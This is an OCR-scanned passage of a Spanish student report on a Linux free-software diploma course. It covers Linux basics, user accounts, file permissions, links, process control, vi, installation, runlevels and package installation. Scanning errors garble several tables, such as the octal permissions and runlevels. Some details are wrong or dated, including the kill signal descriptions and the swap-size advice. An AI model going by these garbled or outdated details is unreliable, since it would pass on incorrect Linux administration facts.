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INTRODUCCION

En la actualidad es necesario contar con sistemas que permitan la automatizacion del
seguimiento y control de procesos que se desarrollan en diversas empresas y oficinas. Con esta
automatizacién se pretende un uso mas eficiente de los recursos y un control mas preciso de
los mismos, logrdndose, con ello, compartir informacién entre diversas areas y oficinas, a
través de la red local e incluso empleando Internet o la Intranet corporativa.

El desarrollo de estos sistemas puede ser sustentado empleando software libre como
LINUX, PHP, Apache-WWW-server y MySQL, que son herramientas que han demostrado
tener un alto desempefio, gran estabilidad y seguridad y, por el hecho de ser libres, permiten
reducir los costos que se generan por las licencias de uso de software, logrando aprovechar al
maximo los equipos de computo con que se cuente.

Debido a que el creciente uso de las computadoras implica correr riesgos de seguridad
en el acceso a la informacién, se ha vuelto necesario hacer conciencia de que la seguridad es
una responsabilidad compartida; por lo que todos los usuarios de computadoras requieren un
conocimiento esencial de los elementos de la seguridad que les ofrece Linux para convencerse
de que es una de las mejores opciones existentes en sistemas operativos.

La primer parte de este trabajo concentra la informacién dada en los médulos que
conforman el diplomado "Desarrollo e implementaciones de sistemas con software libre en
Linux":

En el primer médulo se da una breve introduccién a la historia del sistema operativo
Linux y a sus elementos basicos como las cuentas de usuario y contrasefias y tipos y permisos
de archivos. En este médulo también se menciona la utilidad de algunos comandos bésicos
para irse adentrando en el manejo del sistema operativo Linux.

En el segundo moédulo se describe como realizar la instalacion de Linux, asi como los
requerimientos que hay para hacerla, se explica como instalar los diversos tipos de paquetes o
programas que existen para Linux. También en este médulo se muestra la forma de configurar
los dispositivos periféricos como el teclado, el ratén, el monitor y la tarjeta de red.

El tercer médulo del informe explica la mayoria de las etiquetas que existen en la
creacion de paginas Web con HTML (HyperText Markup Language), asi como la estructura de
un documento de HTML. Explica también los elementos que se pueden crear con HTML entre
los que estan las tablas, las listas, las imagenes, las ligas, entre otros.

El cuarto médulo indica como hacer la instalaciéon del Servidor WWW "Apache" y
describe las ventajas de elegir este servidor en particular. El médulo también describe como
configurar el servidor mediante directivas existentes en el archivo de configuracion.
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El quinto médulo explica como realizar la instalacion de PHP, que es un lenguaje de
programacion, en Linux. Describe los elementos que conforman a este lenguaje como son sus
variables, estructuras de control, algunas funciones para el manejo de archivos, entre otros.

El sexto moédulo trata de los conceptos basicos de las bases de datos. Indica como se
debe hacer la instalaciéon del manejador de bases de datos MySQL y como se debe establecer la
comunicacién entre el lenguaje de programacién PHP y MySQL para poder involucrar bases
de datos en sistemas desarrollados con PHP. También describe algunos comandos basicos para
la utilizacién de MySQL y la creacién de bases de datos con este manejador.

El médulo siete trata lo concerniente a la seguridad en computo, basicamente se centra
en los conceptos relacionados con redes de computo como lo es la vulnerabilidad de las redes,
ataques, etc. Este modulo también trata el tema de la criptografia y sus principios, asi como el
de sus métodos.

El octavo médulo describe como se debe hacer la instalacion del manejador de datos
"PostgreSQL" en Linux y de que comandos se deben utilizar para crear o borrar bases de datos,
tablas, etc. en este manejador. Este médulo también describe lo que es la programacion
orientada a objetos y sus ventajas, ademas de explicar los elementos de este tipo de
programacién en el lenguaje PHP. También se describen los "templates" y algunos de los
"motores de templates" utilizados en PHP, ademaés de las ventajas y desventajas de utilizar
templates en la realizacion de un sistema.

La segunda parte de este trabajo describe el proyecto de "Desarrollo de un sistema de
costeo de atencion de solicitudes de informacion con software libre" que utiliza algunos de los
programas descritos en la primer parte de este trabajo como lo son MySQL para el manejo de
la base de datos del sistema y PHP para el desarrollo de la programacién del mismo.
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OBJETIVOS

A continuacién se enuncian los objetivos del diplomado “Desarrollo e Implementacién
de Sistemas con Software Libre en Linux”:

GENERALES:

El participante conocerda nuevas herramientas administrativas que le permitan
desarrollar e implementar sistemas para el control de procesos e informacién, que funcionen
de forma natural en red o por Internet, empleando herramientas de software libre que han
demostrado tener una alta confiabilidad, alto desempefio y funcionalidad.

PARTICULARES:

e El participante identificard los métodos de operacion y administraciéon del sistema
operativo, utilizara los programas de manejo de usuarios, y llevara a cabo la instalacion
del dispositivo de respaldo, configuracién de la red e instalacion del software.

e El participante instalard el sistema operativo Linux en PC’s y configurara la tarjeta de
red, video y particiones del disco duro; asimismo manejara el ambiente de usuario.

e El participante elaborara paginas WWW apoyado con HTML.

e El participante identificara el procedimiento para instalar, configurar y administrar su
propio servidor de WWW en un servidor de plataforma LINUX.

e Proporcionar al participante los conocimientos necesarios que le permitan crear
aplicaciones dindmicas e interactivas para el Web utilizando el lenguaje PHP.

e El alumno conocerd y desarrollard una aplicacién de bases de datos que funcione a
través del WWW empleando herramientas de software libre.

e El participante reconocera la importancia de la seguridad e identificard los elementos
que le permitiran proteger el sistema y la informacion.
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I. INFORME GENERAL DEL DIPLOMADO
"DESARROLLO E IMPLEMENTACIONES DE
SISTEMAS CON SOFTWARE LIBRE EN LINUX"
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1.1. SISTEMA OPERATIVO LINUX

Objetivo

El participante se familiarizard con el sistema operativo Linux. Ademas conocera las
utilerias y los comandos bésicos para tener un mejor dominio sobre lo que respecta a este
sistema operativo.

1.1.1. INTRODUCCION A LINUX

Linux fue el proyecto original de un estudiante de informatica llamado Linus Torvalds, que entonces
contaba 23 afios. Linux empez6 siendo un pasatiempo para Linus, que esperaba crear una version mas sélida de
UNIX para usuarios de Minix.

Minix es un programa desarrollado por el profesor de informatica Andrew Tannebaum.

El sistema Minix se escribié para demostrar algunos conceptos informaticos que se encuentran en los
sistemas operativos. Torvalds incorpord estos conceptos en un sistema auténomo que imitaba a UNIX. El
programa se puso a disposicién de los estudiantes de informatica de todo el mundo y muy pronto conté con
muchos seguidores, incluyendo aquellos que participaban en sus grupos de debate de Usenet. Linus Torvalds
decidi6 entonces proporcionar una plataforma més accesible para los usuarios de Minix que pudiera ejecutarse en
cualquier IBM PC y centré su atencién en las recién aparecidas computadoras basadas en 386 debido a las
propiedades de conmutacién de tareas que incorporaba la interfaz en modo protegido del 80386.

Caracteristicas de Linux

Linux es el sistema de acceso libre mas utilizado actualmente. Ofrece un sistema completo con las
caracteristicas multiusuario y multitarea. Esto quiere decir, que es capaz de ejecutar varios programas (o tareas)
de forma simultanea y albergar a varios usuarios también simultaneamente.

Por lo tanto, todos los usuarios de Linux deben tener una cuenta de usuario en el sistema que establezca
los privilegios del mismo. A su vez Linux organiza a los usuarios en grupos de forma que se puedan establecer
privilegios a un determinado grupo de trabajo, para el acceso a determinados archivos o servicios del sistema.

Dispone de la implementacién completa del protocolo de comunicaciéon TCP/IP, ademas de un sistema
de correo electrénico con el cual se puede enviar y recibir mensajes por el ciberespacio.

Tiene una alta portabilidad, esto es, la posibilidad de transportar un sistema operativo de una plataforma
a otra sin que se vea alterado su funcionamiento.
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Distribuciones de Linux

Una distribucién es un agrupamiento del ntcleo del sistema operativo Linux (la parte desarrollada por
Linus Torvalds) y otra serie de aplicaciones de uso general o no tan general. En principio las empresas que
desarrollan las distribuciones de Linux estan en su derecho al cobrar una cierta cantidad por el software que
ofrecen, aunque en la mayor parte de las ocasiones se pueden conseguir estas distribuciones desde Internet, de
revistas o de amigos, siendo todas estas formas gratuitas y legales.

Las distribuciones mas conocidas son RedHat, Debian, Slackware, SuSE y Corel Linux, todas ellas

incluyen el software mas reciente y empleado lo cual incluye compiladores de C/C++, editores de texto, juegos,
programas para el acceso a Internet, entornos graficos de Linux, etc.

1.1.2. CONCEPTOS BASICOS
Inicio y término de sesion
Existen tres formas de acceder a un sistema Linux:

e A través de una consola de texto, el usuario se conecta directamente a la computadora que tiene instalado
Linux y accede mediante un sistema no grafico.

e Desde un gestor de sesiones grafico (X Window), el usuario se conecta directamente a la computadora
que tiene instalado Linux y accede al sistema mediante un programa gréfico.

¢ Desde una computadora remota mediante telnet o secure shell

En cualquiera de los casos en la pantalla aparecera (mds o menos) lo siguiente:

Login: (Se teclea el nombre del usuario)
Password: (Se teclea la contrasefia, que no se ve en la pantalla)

Existen diversas formas para terminar la sesién de trabajo en Linux, dependiendo de si se estd en modo
grafico o de texto.

En modo texto:

e DPresionar las teclas <ctr]l> d
e Escribir el comando exit.

La salida de X Window depende del gestor de ventanas que se esté ejecutando

Creacion de una cuenta de usuario

Cuando se da de alta a un usuario, el resultado es una entrada en el archivo de contrasefias de usuarios,
/etc/passwd. Esa entrada tiene la sintaxis siguiente:

login_name:password_encriptado:id_usuario(UID):id_grupo(GID):
informacion_usuario(GECOS):directorio_usuario:shell_usuario
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En la sintaxis del archivo /et¢/passwd, los campos estan separados por dos puntos.

Significado de los campos:

Campo Descripcién

login_name Nombre que se utiliza para entrar a Linux.

password_encriptado Contrasefa que se requiere para autentificar el usuario.

id_usuario(UID) Ntmero tnico que el sistema operativo utiliza para identificar al usuario.

id_grupo(GID) Ntmero dnico de grupo que se utiliza para identificar al grupo primario de
este usuario.

informacion_usuario Descripcién del usuario.

directorio_usuario Directorio inicial del usuario.

shell_usuario Shell utilizado por el usuario al entrar.

Para crear una cuenta de usuario se puede utilizar el comando adduser seguido del nombre del nuevo
usuario.

| $ adduser nombre_usuario |

Cambio de contraseiia

Para cambiar una contrasefia se tendrd que utilizar el comando passwd, especificando la contraseha
anterior y la contrasefia nueva, y volviéndola a escribir después.

$ passwd nombre_usuario
Enter old password:

Enter new password:
Re-type new password:

1.1.3. ARCHIVOS

Un nombre de archivo consiste en una serie de letras, nimeros y algunos signos de puntuacién. Los
nombres de archivo no pueden tener espacios o cualquier otro caracter que represente un separador de campo.

Los nombres de los archivos no deben contener ningtn caracter especial para el shell:

[ 1@#$% A &* ([} «\/|;<>" |

Los nombres de los archivos tampoco pueden incluir el caracter (/) porque éste se utiliza para indicar
rutas de acceso.

Linux permite una longitud de hasta 256 caracteres de longitud para los nombres de los archivos.

Tipos de archivos

Existen cuatro tipos de archivos: archivos normales, directorios, ligas y archivos especiales.
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Archivos normales

Son los archivos con los que se trabaja la mayor parte del tiempo. Pueden contener texto, cédigo fuente en
lenguaje C, archivos de comandos shell, programas binarios ejecutables y datos de naturaleza diversa.

Archivos de directorio
Son archivos que contienen los nombres de archivos y subdirectorios, asi como punteros hacia esos
archivos y subdirectorios. Los archivos de directorio son el dnico sitio donde Linux almacena nombres de

archivos.

Ligas o enlaces

Son archivos que contienen el acceso a algtn otro archivo, o sea, apuntan a otro archivo. Son lo que en
Windows llamariamos “ Accesos directos”.

Archivos especiales

Existen dos tipos de archivos especiales: por caracteres y por bloques. Los archivos especiales por
caracteres son las terminales y las impresoras. Y los archivos especiales por bloques son los dispositivos que leen
y escriben bloques completos, como por ejemplo los dispositivos de cinta magnética, los discos duros, etc.

1.1.4. ESTRUCTURA DEL SISTEMA DE ARCHIVOS

Directorio raiz

Bajo Linux, el espacio de archivo que resulta visible para los usuarios se basa en una estructura en arbol,
con la raiz en la parte superior. Los distintos directorios y archivos se ramifican hacia abajo desde la raiz. El
directorio superior, “/”, se conoce como el directorio raiz.

Directorio home

Es el directorio base para los directorios iniciales de los usuarios. Es normal montarlo como un sistema de
archivos separado de forma que los usuarios puedan tener espacio mas que suficiente para sus archivos.

Directorios importantes para Linux

Directorio Contenido

/ Raiz del sistema de archivos.

/dev Contiene ficheros del sistema representando los dispositivos que estén fisicamente
instalados en la computadora.

/etc Este directorio esta reservado para los ficheros de configuracion del sistema. En este

directorio no debe aparecer ningtn fichero binario (programas). Bajo éste deben
aparecer otros dos subdirectorios:

Jete/X11 | Ficheros de configuracién de X Window

8
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Jetc/skel Ficheros de configuracién basica que son copiados al directorio del
usuario cuando se crea uno nuevo.

/lib Contiene las librerfas necesarias para que se ejecuten los programas que residen en
/bin (no las librerias de los programas de los usuarios).

/proc Contiene ficheros especiales que o bien reciben o envian informacién al kernel del
sistema (Se recomienda no modificar el contenido de este directorio y sus ficheros).

/sbin Contiene programas que son tinicamente accesibles al superusuario o root.

[usr Este es uno de los directorios més importantes del sistema puesto que contiene los
programas de uso comun para todos los usuarios.

[var Este directorio contiene informacién temporal de los programas (lo cual no implica
que se pueda borrar su contenido, de hecho, jno se debe hacer!).

Directorio de trabajo

Se llama directorio de trabajo al directorio en el cual el usuario se encuentra posesionado en un momento
determinado. Se llama de esa forma ya que como su nombre lo dice es el directorio en el cual se encuentra
realizando acciones y sobre del cual se aplican de forma directa los comandos. Se puede saber cual es el directorio
de trabajo con el comando pwd.

Nota: pwd es uno de los pocos comandos que no tienen opciones.

Rutas relativas y absolutas

La ruta de un fichero o directorio es la secuencia de directorios que se ha de recorrer para acceder a un
determinado fichero separados por/.

Todo directorio, aunque aparentemente no contenga archivos, desde que se crea contiene dos archivos,

“ o

uno que indica la ruta del directorio actual, llamado “.”, y un segundo que indica cual es el directorio padre de si

“u

mismo, llamado “..”.
Existen dos tipos de rutas: absolutas y relativas.
Rutas absolutas

Una ruta absoluta nos indica la ubicacién en el arbol jerarquico de un archivo determinado partiendo
desde el directorio raiz (/) y avanzando de directorio en directorio hasta llegar al archivo en cuestion.

Rutas relativas

Una ruta relativa indica la localizacién de un archivo determinado dentro del arbol jerarquico iniciando la
“" o “won

ruta desde el archivo actual o de trabajo. Este tipo de rutas utilizan al archivo “.” y al archivo “..” para definir el
camino.
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1.1.5. COMANDOS BASICOS
Metacaracteres

Los metacarcteres son comodines que nos ayudan en la basqueda de archivos y cadenas. Estos beneficios
se pueden utilizar junto con los comandos de Linux y ahorrar un poco de lineas a ejecutar.

A continuacién se muestran los metacaracteres y su significado dentro de las cadenas:

Simbolo Significado

* Representa cero caracteres o cualquier conjunto de ellos.

? Representa un solo caracter.

[] Representa un solo caracter dentro de una serie o un rango.

El siguiente ejemplo listara todos los archivos en el directorio actual que tengan extension “.txt”.

Cambio de directorio

Para desplazase por la estructura de directorios de Linux se utiliza el comando cambio de directorio, cd.
Si introduce el comando c¢d sin ningtin pardmetro, Linux le devuelve inmediatamente al directorio inicial. Para
moverse de un directorio a otro, se utiliza seguido de un espacio en blanco y el nombre o ruta del directorio al
que se quiere cambiar.

| $ cd nombre_directorio |

Listar el contenido de directorios

El comando Is representa la palabra lista (list) y Linux la utiliza para mostrar una lista de archivos de un
directorio determinado por el pardmetro que se le pasa al comando (nombre o ruta del directorio).

Este comando muestra todos los archivos principales de un directorio en color. El color predeterminado
para los directorios es el azul y para los programas ejecutables, el verde. Se pueden cambiar estos colores
modificando el archivo /et¢/DIR_COLORS.

| $ Is [opciones] [ruta_directorio] |

Creacion de directorios

El comando que nos permite crear directorios es mkdir que se deriva de las palabras make directory,
seguido de un espacio el nombre del nuevo directorio.

| $ mkdir nombre_directorio |
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Copiar archivos y directorios

Este comando se utiliza para copiar uno o varios archivos de un directorio a otro. La sintaxis del comando
es:

| $ cp [opciones] nombre_archivo_origen nombre_archivo_destino |

Mover o renombrar archivos y directorios

El comando mv permite mover archivos de un directorio a otro. Desplazar un archivo equivale a copiarlo
en un nuevo directorio y borrarlo después del directorio anterior. Su sintaxis es igual a la del comando cp:

| $ mv [opciones] nombre_archivo_origen nombre_archivo_destino |

Borrar archivos y directorios

Para suprimir archivos en Linux se utiliza el comando rm. Hay que tener mucho cuidado con este
comando porque cuando se borra un archivo ya no es posible recuperarlo después. Su sintaxis es:

| $ rm -i nombre_archivol [nombre_archivo?2 ...] |

“" o2y
-1

La opcién indica al comando que pregunte al usuario si realmente desea borrar el archivo.

Para borrar un directorio se puede utilizar el comando rmdir, pero el directorio debera estar vacié. Su
sintaxis es:

| $ rmdir nombre_directoriol [nombre_directorio2 ...] |

Si se desea borra un directorio junto con todo su contenido se puede utilizar el comando rm con su opcién
“-1” que indica recursividad para que borre todos los archivos y/o directorios que estdn dentro y hacia abajo,
jerarquicamente hablando, del directorio que se quiere borrar. La sintaxis seria de la siguiente manera:

| $ rm -ri nombe_directorio |

Mostrar el contenido de archivos

El comando maés sencillo es cat, que es la abreviatura de “concatenate”. Este comando toma una lista de
archivos (o uno solo) e imprime el contenido sin alterar nada en la salida estandar, es decir mostrando un archivo
detras de otro. Su sintaxis es de la siguiente forma:

| $ cat archivol [archivo2..] |

El comando more muestra una pantalla de datos completa y permite ir avanzando en el(los) archivo(s) de
pantalla en pantalla o de linea en linea. Su sintaxis mas simple es:

| $ more nombre_archivol [nombre_archivo?2 ...] |

11
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El comando more muestra una desventaja ya que no permite regresar a pantallas anteriores, si se desea
hacerlo se puede utilizar el comando less que si lo permite.

Ayuda en la linea de comandos

Para obtener ayuda inmediata para cada uno de los comandos de Linux, se puede utilizar el comando
man seguido del nombre del comando del que se requiere ayuda. A continuacién Linux mostrard, una pantalla
tras otra, toda la informacién disponible sobre el comando. Si no se estd seguro del comando que se debe utilizar,
se puede utilizar la opcién “~-k” del comando man e introducir una sencilla palabra clave que represente el tema
de interés. man busca en sus archivos de ayuda un tema que contenga la palabra clave.

1.1.6. REDIRECCIONAMIENTO

Bésicamente el redireccionamiento de una informaciéon es enviar informacién resultante de una
instruccién o proceso hacia otra, para que ésta la tome como entrada.

La computadora tiene una entrada estandar que es el teclado y una salida estandar que es el monitor,
Linux asocia a estas con un archivo a cada una, la entrada del teclado la asocia a un archivo llamado “stdin” y la
salida del monitor a uno llamado “stdout”.

Redireccionamiento de entrada y salida

e Redireccionamiento de entrada

Se utiliza el simbolo “<” (menor que) para dirigir entradas a un comando o programa de forma que
proceda de un archivo en lugar del teclado o terminal.

e Redireccionamiento de salida

Se utiliza el simbolo “>" (mayor que) para redirigir la salida de un programa a un archivo.

Redireccionamiento no destructivo

Es redireccionar la salida estandar hacia un archivo que ya existe pero sin perder la informacién que el
archivo destino contiene, sino que anexandola. Este tipo de redireccionamiento se hace utilizando el simbolo de
dos caracteres “>>".

Tuberias

Consisten en empalmar la salida estdndar de un comando con la entrada estandar de otro. Esto se hace
con el simbolo “|”, también llamado pipe.
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1.1.7. PERMISOS

En Linux, los permisos de los archivos implican algo mas que simplemente conocer los permisos que
tienen un archivo o directorio. Aunque los permisos deciden quien puede leer, escribir o ejecutar un archivo,
también deciden el tipo de archivo y la forma de ejecutarlo.

Cambio de propietario y grupo de un archivo

El propietario de un archivo generalmente es quien lo cre6, pero éste puede ser cambiado por el
administrador o root con el comando chown que tiene la siguiente sintaxis:

| $ chown nuevo_propietario archivo |

De igual manera el usuario root puede cambiar el grupo al cual pertenece un archivo con el comando
chgrp que se puede usar de la siguiente forma:

| $ chgrp nuevo_grupo archivo |

Cambio de permisos

Los permisos de un archivo pueden modificarse con el comando chmod que tiene dos sintaxis distintas,
absoluta y relativa.

chmod comprende tres elementos a los cuales tiene que asignar permisos y los ordena de la siguiente
manera para asignarles permisos en la sintaxis absoluta:

ugo

donde:
u = usuario (propietario del archivo)
g = grupo (al que pertenece el propietario del archivo)
o = otros (todos los demas)

Con los permisos absolutos se definen permisos del archivo en octal, o base 8. Con el orden mencionado
se deben poner los permisos que se quieran segin su valor en octal para el usuario, el grupo y otros:

Namero Significado

Lectura, escritura y ejecucion.
Lectura y escritura.

Lectura y ejecucion.

Lectura.

Escritura y ejecucion.
Escritura.

Ejecucion.

Ninguno.

SR, N Wk OO
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Los permisos en la sintaxis relativa utilizan un formato ligeramente distinto. Con este tipo de permisos se
debe establecer lo siguiente:
e A quién se estan dando permisos.
e Qué tipo de operacion se pretende hacer (agregar, quitar o establecer permisos).

e Qué tipos de permisos son (lectura, escritura o ejecucion).

Por ejemplo, si se escribe:

| $ chmod a=rwx nombre_archivo |

Se estd dando permiso de lectura, escritura y ejecucién a todos los usuarios. Los comandos para permisos
relativos se resumen en la tabla siguiente:

VALOR | DESCRIPCION
Quién
a Todos los usuarios (el usuario, sus grupos y todos los demads).
g El grupo del propietario.
o Todos los demas.
u Sélo el usuario.
Operador
+ Agrega la modalidad.
Elimina la modalidad.
= Establece la modalidad de forma absoluta.
Permiso
X Establece la ejecucion.
r Establece la lectura.
w Establece la escritura.

1.1.8. LIGAS O ENLACES

Una liga es un archivo por si mismo que apunta a otro archivo. Si modificamos una liga se modifica
también el archivo al que esta apuntando ya que en realidad sélo es un acceso a otro archivo.  Existen dos tipos
de ligas, las suaves y las duras.

A continuacién se listan algunas diferencias a manera de resumen de las ligas suaves y duras:

LIGA SUAVE LIGA DURA
i-nodo Distinto al del archivo original. | El mismo que el del archivo referenciado.
l(; o-rll)tador de ligas (Aparece en No cambia. Se incrementa.
Espacio en disco duro Ocupa espacio. No ocupa espacio.
~ Tamafio igual a la longitud del | Su tamafio es igual al del archivo
Tamafio en bytes . .
nombre del archivo en bytes. referenciado.
. . $ In -s archivo_referenciado $ In archivo_referenciado
Sintaxis . . . .
nombre_archivo_destino nombre_archivo_destino
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1.1.9. CONTROL DE TRABAJOS

Un proceso es todo programa que este ejecutdndose y consumiendo recursos del procesador en un
momento determinado.

Para saber cuales son los procesos que estan corriendo en la maquina se puede utilizar el comando ps,
este comando sin opciones manda la siguiente informacién de los procesos corrientes:

Parametro Significado
PID El nimero de identificaciéon del proceso.
TTY El terminal donde se inicia el proceso.
TIME El tiempo de ejecuciéon acumulado del proceso, expresado en minutos y
segundos.
COMMAND El nombre del comando que se esta ejecutando.
Segundo plano

El shell de Linux permite iniciar un proceso y, antes de que haya finalizado éste, comenzar un segundo
proceso. Al hacerlo, pone el primer proceso en segundo plano. Al mandar un proceso a segundo plano lo que
sucede es que el proceso se ejecuta a la par que el shell, esto es fuera de la vista del usuario y dejando libre la
terminal para que el usuario pueda seguir trabajando mientras se ejecuta el proceso al mismo tiempo.

Puesto que un proceso en segundo plano es un hijo del shell donde se ejecuta, se elimina
automaticamente cuando se deja de estar conectado al sistema.

Interrupcion de trabajos y envio al segundo plano

Para interrumpir un trabajo existen varias formas, una de ellas es utilizando la combinacién de teclas ctrl
+ z, esto lo que hara es mandar a segundo plano el trabajo que se este ejecutando en primer plano en ese
momento pero lo interrumpiréd hasta que el trabajo sea llamado a primer plano nuevamente (esto se puede hacer
con el comando fg visto mas adelante).

Una manera de interrumpir un trabajo en segundo plano es con el comando kill pero este comando lo
que hace es terminar definitivamente con la ejecucién del trabajo, este comando también puede reiniciar el trabajo
con su opcién “~-HUP”. La sintaxis de este comando es:

| $ kill [opciones] PID_de_proceso |

El PID de un trabajo es su identificador tnico con el que se puede hacer referencia y asi indicar al shell
que proceso es el que debe parar. Entre las opciones del comando kill se tienen:

Opcion Significado
0 Detiene todos los procesos que estén en segundo plano.
-9 Detiene el proceso
-15 Detiene el proceso inmediatamente
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Otra forma de cerrar o terminar con un proceso que se este ejecutando en primer plano es utilizando la
combinacion ctrl + ¢, esto terminara con la ejecucion definitivamente.

Suspension y reinicio de trabajos

Para suspender un trabajo que estd en primer plano se puede simplemente usar la combinacién de teclas,
ya mencionadas, ctrl + z.

Existen dos comandos que sirven para enviar a segundo plano un proceso y regresarlo a primer plano,
estos comandos son fg que trae a primer plano un proceso que esta en segundo plano y bg que hace lo inverso. Su
sintaxis es simple:

[ $bg PIDy $ fg PID |

1.1.10. EDITOR Vi

Vi es un editor de texto que se inicia rdpidamente y que permite realizar desde las tareas més sencillas
hasta las mas complejas. Vi esta disponible en todas las versiones y distribuciones de Linux.

Inicio de Vi

Para iniciar Vi, simplemente escriba vi en el indicador de shell (linea de comandos). Si conoce el nombre
del archivo que desea crear o editar, puede escribir el comando vi con este nombre como argumento. Por ejemplo,
para crear el archivo miarchivo con vi escriba:

| $ vi miarchivo |

Cuando Vi se activa, la pantalla del terminal se borra y aparece un caracter tilde (~) en la parte izquierda
de cada linea de la pantalla, salvo en la primera. La tilde es el indicador de linea de memoria intermedia vacia.

A diferencia de la mayoria de procesadores de texto, Vi se inicia en modo comando. Antes de empezar a

“u_rn e

introducir texto, debe cambiar a modo entrada con las teclas “a” o “i”.

Los dos modos de vi

El editor Vi funciona en dos modos:
¢ Modo comando

En el modo comando, Vi interpreta las pulsaciones de teclas como comandos. Existen muchos comandos
Vi que permiten realizar diferentes acciones.

e Modo entrada

En el modo de entrada se puede introducir texto afiadiéndolo detras o delante del cursor o al principio de
la linea. Para pasar de modo comando a modo entrada se debe pulsar una de las siguientes teclas:
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Tecla Descripcion

a Para afiadir texto detras del cursor
Para insertar texto delante del cursor

Use el modo entrada sélo para introducir texto. Para volver al modo comando se debe pulsar “Esc”.
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1.2. INSTALACION Y ADMINISTRACION DE LINUX

Objetivo

El participante instalard el sistema operativo Linux en PC’s y configurara la tarjeta de
red, video y particiones del disco duro; asimismo manejara el ambiente de usuario.

1.2.1. PERFIL Y ACTIVIDADES DEL ADMINISTRADOR

El administrador de Linux es la persona responsable del mantenimiento y funcionamiento del sistema
operativo. El es el responsable de la eleccién del hardware, de donde instalar el sistema operativo, de su
configuracién y de su mantenimiento diario.

La administraciéon es el proceso de crear, disefiar y mantener un ambiente en el que las personas,
laborando, alcancen con eficiencia metas seleccionadas y para que esto suceda el administrador tiene que realizar
una serie de tareas importantes:

¢  Administrar usuarios.

¢ Configuracién de dispositivos.

e Hacer respaldos.

e Capacitar y asesorar usuarios.

e Asegurar el sistema.

e Registrar los cambios del sistema.

¢ Mantenimiento de claves de usuarios.

e Instalacion y mantenimiento de dispositivos.

e Instalacion y actualizacién de software.

e Configuracién de las interfaces de red.

¢ Administracién de los recursos (CPU, memoria, disco).
e Atencién a usuarios.

e Monitoreo del sistema.

e Deteccién de fallas.

e Auditoria e implantacion de la seguridad del sistema.

Conocimientos que debe tener un administrador

e Técnicas de programacion.

e Dominio de al menos un lenguaje de programacion.

e Funcionamiento del sistema operativo.

e Técnicas de administracién del sistema operativo.

¢ Conocimientos bésicos de hardware y mantenimiento de dispositivos.

e Comprensién profunda de redireccion, tuberias, procesamiento en segundo plano, etc.
e Manejo de vi pues es el comtin denominador entre los sistemas UNIX.

e Programacioén shell.
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Politicas que debe establecer el administrador

e Apertura de cuentas.

e Horas de mantenimiento.

e Responsabilidad de los respaldos.
e Borrado de archivos temporales.
e Cuotas de disco.

e Seguridad del sistema.

1.2.2. INSTALACION

Linux requiere para su instalacion de al menos dos particiones, una para la memoria swap y otra para los
archivos del sistema. Se sugiere hacer una particiéon extendida y dentro de ella hacer las dos particiones
necesarias.

El tamafo de la particién swap se recomienda que sea del doble del tamafio de la memoria RAM, pero
que no exceda de 256 Megabytes.

Pasos para la instalacién

Ver caracteristicas del equipo.

b. Elegir la distribucién a instalar.
c. Saber que fin va a tener el servidor para decidir la cantidad de particiones.
d. Estructurar las particiones (planeacion).
e. Introducir el software

e.l. Hacer particiones.

e.2. Elegir login y password.

e.3. Configurar la tarjeta de red.

e.4. Configurar LILO (booteador).

e.5. Configuraciones adicionales.

Requerimientos minimos para la instalacion

e Procesador 386
e Memoria RAM 16 Megabytes
e Capacidad en disco duro 500 Megabytes

e Unidad de 3%2
e Unidad de CD-ROM

e Tarjeta de red
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Configuracién de Lilo

Lilo es el programa que se encarga de guardar la localizaciéon de los diferentes sistemas operativos
instalados en el disco duro para poder iniciar desde el que se desee.

Cada particién que tenga instalado un Linux debe tener su propio lilo pero el lilo del altimo Linux que
fue instalado es el que se guarda en el MBR (Registro maestro de arranque).

En la mayoria de las distribuciones de Linux la configuracién de lilo forma parte de la instalacién del
sistema operativo, o sea que entre los pasos de la instalacién se pide que se configure lilo mediante su interfaz
gréfica.

Para la configuracién de lilo se utiliza su archivo de configuracién lilo.conf ubicado en el directorio /etc.

En este archivo se puede cambiar el tiempo de espera antes de arrancar automaticamente, se pueden agregar
contrasefias al arranque de los sistemas operativos, etc.

1.2.3. ARRANQUE DEL SISTEMA OPERATIVO
Tareas de la maquina al arrancar

Las tareas que la computadora realiza al encenderse con un sistema operativo Linux son:

e Carga el kernel (/boot) e Lee el script del runlevel
o Identifica dispositivos e Ejecuta el rc.local
e Lee el nivel de inicio configurado (/etc/innitab)

Modos de arranque

Linux tiene diversos modos en los que puede iniciar o trabajar, en seguida se listan los modos
disponibles:

Modo Descripcién

0 Half (Apagar).

Monousuario (Sin red).

Desuso. Es igual al modo 3.

Multiusuario (Con red, interfaz grafica, linea de comandos).
Interfaz grafica (KDM, GDM, XDM).

Desuso. Es igual al modo 3.

Reinicio.

NUT s WD

Mostrar y cambiar el modo de arranque.

Para mostrar el modo de arranque en el que se encuentra, Linux cuenta con el comando runlevel que
muestra el modo actual y el anterior que se tenia.
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Es posible cambiar el modo de arranque desde el archivo /etc/inittab pero es mas recomendable, si lo que
se quiere es iniciar el modo gréfico, mandarlo llamar en el archivo rc.local porque de esta manera se cuenta con
una mayor cantidad de consolas para trabajar.

Para cambiar el modo grafico temporalmente desde la linea de comandos se puede utilizar el comando
init seguido del niimero de modo de arranque al que se quiere cambiar.

1.2.4. INSTALACION DE PAQUETES
Tipos de paquetes

Existen basicamente tres tipos de paquetes y su instalacién varia:
e Compilados. Su extension es “.tar.gz”. Estos paquetes estan tareados y gzipeados al mismo tiempo.

e Con manejo de herramientas. Para utilizar una herramienta de instalacién de paquetes se debe tener un
paquete .tgz.

e Precompilados. Estos paquetes ya estan compilados y solo hace falta ejecutar el archivo y seguir los pasos
indicados. Este tipo de instalacién es muy similar a la que se utiliza en los programas de instalacién de
Windows.

Instalacion de paquetes compilados (tar.gz.)

Para instalar estos paquetes primero se deben descomprimir y destarear. Posteriormente se debe buscar al
archivo de INSTALL o README dentro del directorio creado por la accién anterior para saber de que forma se
indica que se debe instalar dicho paquete.

La instalacién de estos paquetes, aunque cambia en algunas cosas y se tienen diferentes opciones segtn el
paquete que sea, sigue el siguiente proceso regularmente después de haber descomprimido y destareado el
archivo (tar -zxvf nombre_archivo):

$ /configure (Este comando se debe ejecutar dentro del directorio creado después
de descomprimir y destarear)

$ make (Este comando hace la compilacion del paquete)

$ make install (Este comando instala los directorios en donde deben ir)

Instalacién de paquetes .tgz con el manejo de herramientas

Entre las diferentes herramientas que existen para la instalacion de paquetes con extension .tgz se tiene el
comando installpkg

| $installpkg nombre_del_paquete |

y pkgtool que ofrece una ventana gréfica para la instalacion.

21



Informe del proyecto de desarrollo de un sistema de costeo de atencion de solicitudes de informacién utilizando software libre.

Para remover paquetes se puede utilizar el comando removepkg:

